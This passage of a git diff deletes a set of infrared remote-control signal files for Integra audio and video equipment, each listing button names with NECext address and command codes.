CURSOR_DOWN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 81 00 00 00 -# -name: CURSOR_UPPER_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 82 00 00 00 -# -name: CURSOR_LOWER_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 83 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 84 00 00 00 -# -name: CURSOR_LOWER_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 85 00 00 00 -# -name: CURSOR_UPPER_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 86 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: AE 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: EF 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir deleted file mode 100644 index 5b06dbbde..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 00 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 05 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 06 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 0B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 03 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir deleted file mode 100644 index 31fd566c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: D2 04 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir deleted file mode 100644 index d23a65ce7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 80 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 81 00 00 00 -# -name: MUSIC_SERVER -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 88 00 00 00 -# -name: INET_RADIO -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 89 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 8D 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 8F 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 90 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 91 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 92 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 93 00 00 00 -# -name: ALBUM -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 98 00 00 00 -# -name: ARTIST -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 99 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 9A 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 9B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 9E 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 09 00 00 -command: 9F 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: D2 09 00 00 -command: C0 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: D2 09 00 00 -command: C1 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: D2 09 00 00 -command: C2 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: D2 09 00 00 -command: C3 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 09 00 00 -command: C4 00 00 00 -# -name: CAPS -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D0 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D1 00 00 00 -# -name: 1/@.-'/ -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D5 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D6 00 00 00 -# -name: 3/DEF -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D7 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D8 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: D2 09 00 00 -command: D9 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: D2 09 00 00 -command: DA 00 00 00 -# -name: 7/PQRS -type: parsed -protocol: NECext -address: D2 09 00 00 -command: DB 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: D2 09 00 00 -command: DC 00 00 00 -# -name: 9/WXYZ -type: parsed -protocol: NECext -address: D2 09 00 00 -command: DD 00 00 00 -# -name: 0/SPACE -type: parsed -protocol: NECext -address: D2 09 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir deleted file mode 100644 index 3a0022b85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0A 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 12 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 16 00 00 00 -# -name: FAST_REWIND -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 20 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 21 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 22 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 23 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 25 00 00 00 -# -name: TRACK_SEARCH -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 26 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 27 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 28 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 29 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 2B 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 33 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 34 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 35 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 36 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 37 00 00 00 -# -name: RESUME_PLAY -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 38 00 00 00 -# -name: MAIN/SUB -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 39 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 41 00 00 00 -# -name: PICTURE_CONTROL -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 4C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 4D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 51 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 80 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 81 00 00 00 -# -name: CURSOR_UPPER_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 82 00 00 00 -# -name: CURSOR_LOWER_RIGHT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 83 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 84 00 00 00 -# -name: CURSOR_LOWER_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 85 00 00 00 -# -name: CURSOR_UPPER_LEFT -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: 86 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: AE 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: EF 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 45 B5 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir deleted file mode 100644 index 1975f9525..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: TAPE/DAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 11 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: ENTER/ESCAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D0 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D1 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D2 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D3 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir deleted file mode 100644 index e7ada6363..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir deleted file mode 100644 index f4abc7d93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0/_SPACE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 0/SPACE_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 2/ABC_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 3/DEF -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 3/DEF_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 4/GHI_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 5/JKL_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 6/MNO_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 7/PQRS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 7/PQRS_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 8/TUV_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 9/WXYZ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: 9/WXYZ_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: CLEAR_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: ENTER_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: ON/STANDBY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: ON/STANDBY_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: START/LOGO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: START/LOGO_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: MORE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: MORE_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: CHANNEL/PAGE_+ -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CHANNEL/PAGE_+_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: CHANNEL/PAGE_- -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: CHANNEL/PAGE_-_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: FORWARD_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: REWIND_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: RECORD_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: SKIP_>L -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: SKIP_>L_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: REPLAY_L< -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: REPLAY_L<_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: CURSOR_ENTER_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: BACK_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: DVD_MENU_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: LIVE_TV_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: GUIDE_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: RECORDED_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: RECORDED_TV_B -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir deleted file mode 100644 index 12b71ff0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE_DSP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: MODE_DSP_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: INPUT_SELECT_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECT_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: SPK_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: SPK_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: SPK_CHANNEL_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: MODE_LISTEN_MODEDOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: MODE_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: MODE_SURR_WRAP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: MODE_THX_WRAP_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4E 00 00 00 -# -name: MODE_ALL_CH_STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 84 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 85 00 00 00 -# -name: SPEAKER_LAYOUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 88 00 00 00 -# -name: INPUT_DVD/BD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: STANDBY/ON_TOGGLE -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CB 00 00 00 -# -name: INPUT_HIDDEN_1 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CD 00 00 00 -# -name: INPUT_HIDDEN_2 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CE 00 00 00 -# -name: INPUT_HIDDEN_3 -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: CF 00 00 00 -# -name: SETUP_AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D4 00 00 00 -# -name: AUDYSSEY_2EQ_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: RE-EQ/CINEMA_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: LATE_NIGHT_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D7 00 00 00 -# -name: AUDIO_SELECT_WRAP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 -# -name: MODE_THTR_DIMENSION -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DC 00 00 00 -# -name: SPK_SUB_LVL_CONTROL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir deleted file mode 100644 index 4d9ee1d44..000000000 --- 